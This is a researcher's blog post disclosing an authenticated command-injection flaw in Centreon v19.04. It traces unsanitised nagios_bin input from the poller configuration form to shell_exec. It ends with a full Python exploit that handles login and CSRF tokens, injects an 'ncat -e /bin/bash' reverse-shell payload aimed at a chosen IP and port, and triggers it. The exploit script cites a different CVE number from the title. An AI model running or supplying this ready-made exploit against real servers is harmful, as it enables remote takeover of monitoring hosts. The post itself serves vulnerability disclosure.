# Centreon v19.04 Remote Code Execution (CVE-2019-13024)
Posted on 2019-06-302019-08-24 by
[Askar](https://shells.systems/author/askar/)

Estimated Reading Time: 6 minutes
#### Summary about Centreon
[Centreon](https://www.centreon.com/en/solutions/centreon/) is a free and open
source infrastructure monitoring software, Centreon allows the system
administrators to monitor their infrastructure from a centralized web
application, Centreon has become the number 1 open source solution for
enterprise monitoring in Europe.
#### About the exploit
The exploitation triggers by adding an arbitrary command in the nagios_bin
parameter when setup a new configuration or update configuration for a poller,
the attacker can control some parameters which are passed to updateServer
function on DB-Func.php line #506, this function should update some values and
add them to the database, so we can control a user input called nagion_bin
from the configuration page and inject our malicious code into it, this
parameter is processed in line #551, this parameter will be called from the
database and passed to shell_exec function line #212 on generateFiles.php
file, so we can call the generateFiles.php later on to trigger the payload.
During the analysis of Centreon code, I decided to hunt for RCE because I
found a lot of functionalities that deal with operating system commands, So I
started to list all unsafe functions using a very simple [python
script](https://github.com/mhaskar/RCEScanner) I wrote.
The initial result was containing a large number of functions that use
"shell_exec, popen, system" functions, and after some analysis I noticed that
there is potential RCE in a function called **printDebug** in
**include/configuration/configGenerate/xml/generateFiles.php ** line #211:
```
function printDebug($xml, $tabs)
{
global $pearDB, $ret, $centreon, $nagiosCFGPath;
$DBRESULT_Servers = $pearDB->query("SELECT `nagios_bin` FROM `nagios_server` " .
"WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1");
$nagios_bin = $DBRESULT_Servers->fetch();
$DBRESULT_Servers->closeCursor();
$msg_debug = array();
$tab_server = array();
foreach ($tabs as $tab) {
if (isset($ret["host"]) && ($ret["host"] == 0 || in_array($tab['id'], $ret["host"]))) {
$tab_server[$tab["id"]] = array(
"id" => $tab["id"],
"name" => $tab["name"],
"localhost" => $tab["localhost"]
);
}
}
```
```
foreach ($tab_server as $host) {
$stdout = shell_exec(
$nagios_bin["nagios_bin"] . " -v " . $nagiosCFGPath . $host["id"] . "/centengine.DEBUG 2>&1"
);
```
As we can see in line #211 we have some variables passed to shell_exec
function without being sanitized, the variable $nagios_bin["nagios_bin"]
passed to the function after being called from the database, and we can see in
line #193,194 that the query has been made to extract some information and one
of them are the $nagios_bin["nagios_bin"] variable.
Now we need to know how we can control this value and how we can trigger the
printDebug function in order to execute our payload.
If we took a look at **include/configuration/configServers/DB-Func.php ** line
#550 we can see that the file handles updating some values in the database and
one of them are out target "nagios_bin" being inserted without filtering as
the following:
```
function updateServer(int $id, $data): void
{
global $pearDB, $centreon;
if ($data["localhost"]["localhost"] == 1) {
$pearDB->query("UPDATE `nagios_server` SET `localhost` = '0'");
}
if ($data["is_default"]["is_default"] == 1) {
$pearDB->query("UPDATE `nagios_server` SET `is_default` = '0'");
}
$rq = "UPDATE `nagios_server` SET ";
isset($data["name"]) && $data["name"] != null
? $rq .= "name = '" . htmlentities($data["name"], ENT_QUOTES, "UTF-8") . "', "
: $rq .= "name = NULL, ";
isset($data["localhost"]["localhost"]) && $data["localhost"]["localhost"] != null
? $rq .= "localhost = '" . htmlentities($data["localhost"]["localhost"], ENT_QUOTES, "UTF-8") . "', "
: $rq .= "localhost = NULL, ";
isset($data["ns_ip_address"]) && $data["ns_ip_address"] != null
? $rq .= "ns_ip_address = '" . htmlentities(trim($data["ns_ip_address"]), ENT_QUOTES, "UTF-8") . "', "
: $rq .= "ns_ip_address = NULL, ";
isset($data["ssh_port"]) && $data["ssh_port"] != null
? $rq .= "ssh_port = '" . htmlentities(trim($data["ssh_port"]), ENT_QUOTES, "UTF-8") . "', "
: $rq .= "ssh_port = '22', ";
isset($data["init_system"]) && $data["init_system"] != null
? $rq .= "init_system = '" . htmlentities(trim($data["init_system"]), ENT_QUOTES, "UTF-8") . "', "
: $rq .= "init_system = NULL, ";
isset($data["init_script"]) && $data["init_script"] != null
? $rq .= "init_script = '" . htmlentities(trim($data["init_script"]), ENT_QUOTES, "UTF-8") . "', "
: $rq .= "init_script = NULL, ";
isset($data["init_script_centreontrapd"]) && $data["init_script_centreontrapd"] != null
? $rq .= "init_script_centreontrapd = '" . htmlentities(
trim($data["init_script_centreontrapd"]),
ENT_QUOTES,
"UTF-8"
) . "', "
: $rq .= "init_script_centreontrapd = NULL, ";
isset($data["snmp_trapd_path_conf"]) && $data["snmp_trapd_path_conf"] != null
? $rq .= "snmp_trapd_path_conf = '" . htmlentities(
trim($data["snmp_trapd_path_conf"]),
ENT_QUOTES,
"UTF-8"
) . "', "
: $rq .= "snmp_trapd_path_conf = NULL, ";
isset($data["nagios_bin"]) && $data["nagios_bin"] != null
? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "', "
: $rq .= "nagios_bin = NULL, ";
```
As we can see it just filter the data using htmlentities only , which means we
can inject system commands without problem and in theory we can get a shell !
> of course we cannot insert the characters that is being filter by
> htmlentites but we still execute a onliner to get a shell.
The input for this function was processed by another file called
**formServers.php ** located in
include/configuration/configServers/formServers.php and the line which call
this function and pass the form submitted data is line #300 like the
following:
```
if ($form->validate()) {
$nagiosObj = $form->getElement('id');
if ($form->getSubmitValue("submitA")) {
insertServerInDB($form->getSubmitValues());
} elseif ($form->getSubmitValue("submitC")) {
updateServer(
(int) $nagiosObj->getValue(),
$form->getSubmitValues()
);
}
$o = null;
$valid = true;
}
```
> The getSubmitValues() function handles the POST requests sent via the update
> configuration form.
To understand the code in better way, I used burp to achieve that by playing
with the request and see how I can deal with the required value.

And in burp we can see the following request after submitting it :

And as we can see the request contains nagion_bin which is the one we want to
control, and for a debugging purposes I will edit the file generateFiles.php
to echo the value of nagion_bin to make sure that we are inserting the correct
value that will be inserted and called from the database, and the result was
like the following:

After sending the request we will get the following:

We are right ! we got the testpath value printed out ! so we just have to
inject a command to get it executed, but first lets find the right format to
inject our payload, back to line #212 on generateFiles.php , we can find that
our command is inserted in the first of the line which means we can insert it
directly and comment out the rest of the line by using #, and the final
payload should be simply "command #".
lets try to inject the command id # and see what will happen !

Great ! we got our command executed !
#### Exploit writing
After confirming the RCE I want to write an exploit code in python to automate
the exploitation process and give you a shell with one click, The exploit
writing phase was very fun part to me, and here is the full exploit code:
```
#!/usr/bin/python
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
import requests
import sys
import warnings
from bs4 import BeautifulSoup
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print(len(sys.argv))
print("[~] Usage : ./centreon-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
```
```
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
login_info = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In Sucssfully")
print("[+] Retrieving Poller token")
poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_html = get_poller_token.text
poller_soup = BeautifulSoup(poller_html)
poller_token = poller_soup.findAll('input')[24].get("value")
print("[+] Poller token is : {0}".format(poller_token))
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
```
```
}
send_payload = request.post(poller_configuration_page, payload_info)
print("[+] Injecting Done, triggering the payload")
print("[+] Check your netcat listener !")
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
request.post(generate_xml_page, xml_page_data)
else:
print("[-] Wrong credentials")
exit()
```
and you can find the full exploit code
[here.](https://gist.github.com/mhaskar/c4255f6cf45b19b8a852c780f50576da)
The application handles every request with a token to protect against CSRF, so
I have to handle this issue using BeautifulSoup to read the CSRF token before
sending the requests which was a great part !
And after running the exploit, we popped a shell !

暂无评论